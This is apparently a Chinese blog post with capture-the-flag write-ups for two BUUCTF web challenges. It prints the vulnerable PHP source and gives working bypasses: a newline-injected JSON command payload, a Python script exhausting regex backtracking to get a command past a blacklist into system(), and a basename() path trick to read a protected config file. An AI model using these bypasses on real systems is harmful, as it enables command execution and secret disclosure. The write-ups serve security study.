BUUCTF(18)

81 阅读1分钟

本文已参与「新人创作礼」活动,一起开启掘金创作之路。

[FBCTF2019]RCEService

Enter command as JSON: 

让我们以JSON格式提交数据,我对其的理解就是提交一个值对键的格式

例如

?cmd={"cmd":"ls"}

传进去后发现检测到我们恶意命令

我们可以看下题目源码

<?php


putenv('PATH=/home/rceservice/jail');


if (isset($_REQUEST['cmd'])) {
  $json = $_REQUEST['cmd'];


  if (!is_string($json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-/;-@[-`|~\x7F]+).*$/', $json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } else {
    echo 'Attempting to run command:<br/>';
    $cmd = json_decode($json, true)['cmd'];
    if ($cmd !== NULL) {
      system($cmd);
    } else {
      echo 'Invalid input';
    }
    echo '<br/><br/>';
  }
}


?>

几乎所有命令都被禁止了,我们要尝试绕过

1.可以使用换行符%0a绕过

利用的是preg_match只识别第一行

我们可以构造payload//注意直接提交会进行url编码

?cmd={%0A"cmd":"/bin/cat /home/rceservice/flag"%0A}

第二种解法是看大佬们用PRCE解

www.leavesongs.com/PENETRATION…

import requests


payload = '{"cmd":"/bin/cat /home/rceservice/flag","test":"' + "a"*(1000000) + '"}'
res = requests.post("http://ad66432f-4628-41f6-8190-d9b9c247904c.node3.buuoj.cn/", data={"cmd":payload})
#print(payload)
print(res.text)

这样也是可以的,值得研究一下 [Zer0pts2020]Can you guess it?

一个查询页面,提交东西提示wrong

有个源码链接,我们点开看一下

<?php
include 'config.php'; // FLAG is defined in config.php
if (preg_match('/config.php/*$/i', $_SERVER['PHP_SELF'])) {
  exit("I don't know what you are thinking, but I won't let you read it :)");
}
if (isset($_GET['source'])) {
  highlight_file(basename($_SERVER['PHP_SELF']));
  exit();
}
$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
  $guess = (string) $_POST['guess'];
  if (hash_equals($secret, $guess)) {
    $message = 'Congratulations! The flag is: ' . FLAG;
  } else {
    $message = 'Wrong.';
  }
}
?>
<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <title>Can you guess it?</title>
  </head>
  <body>
    <h1>Can you guess it?</h1>
    <p>If your guess is correct, I'll give you the flag.</p>
    <p><a href="?source">Source</a></p>
    <hr>
<?php if (isset($message)) { ?>
    <p><?= $message ?></p>
<?php } ?>
    <form action="index.php" method="POST">
      <input type="text" name="guess">
      <input type="submit">
    </form>
  </body>
</html>

看提示说是flag在config.php里,现在就是要考虑如何访问

我试了试直接访问

http://411cb6a3-6152-413f-b8cd-f20124132402.node4.buuoj.cn:81/index.php/config.php
//I don't know what you are thinking, but I won't let you read it :)

我们看下代码

发现有个没见过的basename()函数

basename() 函数返回路径中的文件名部分。

括号里面的$_SERVER['PHP_SELF']的作用是,获取当前页面地址,是当前 php 文件相对于网站根目录的位置地址

比如path/var/www/html/index.php,那么basename(path是/var/www/html/index.php,那么`basename(path);` 就是index.php

我们要想访问config,但是config.php被正则过滤了

本题目利用的是basename()漏洞

用不可显字符绕过正则(后面加 %80 – %ff 的任意字符)

构造

/index.php/config.php/%ff?source

因为index.php?source读取源码的,所以我们构造上面的链接。

即可出来flag

知识点:

php5.3:basename()函数漏洞

$_SERVER[‘PHP_SELF’]全局变量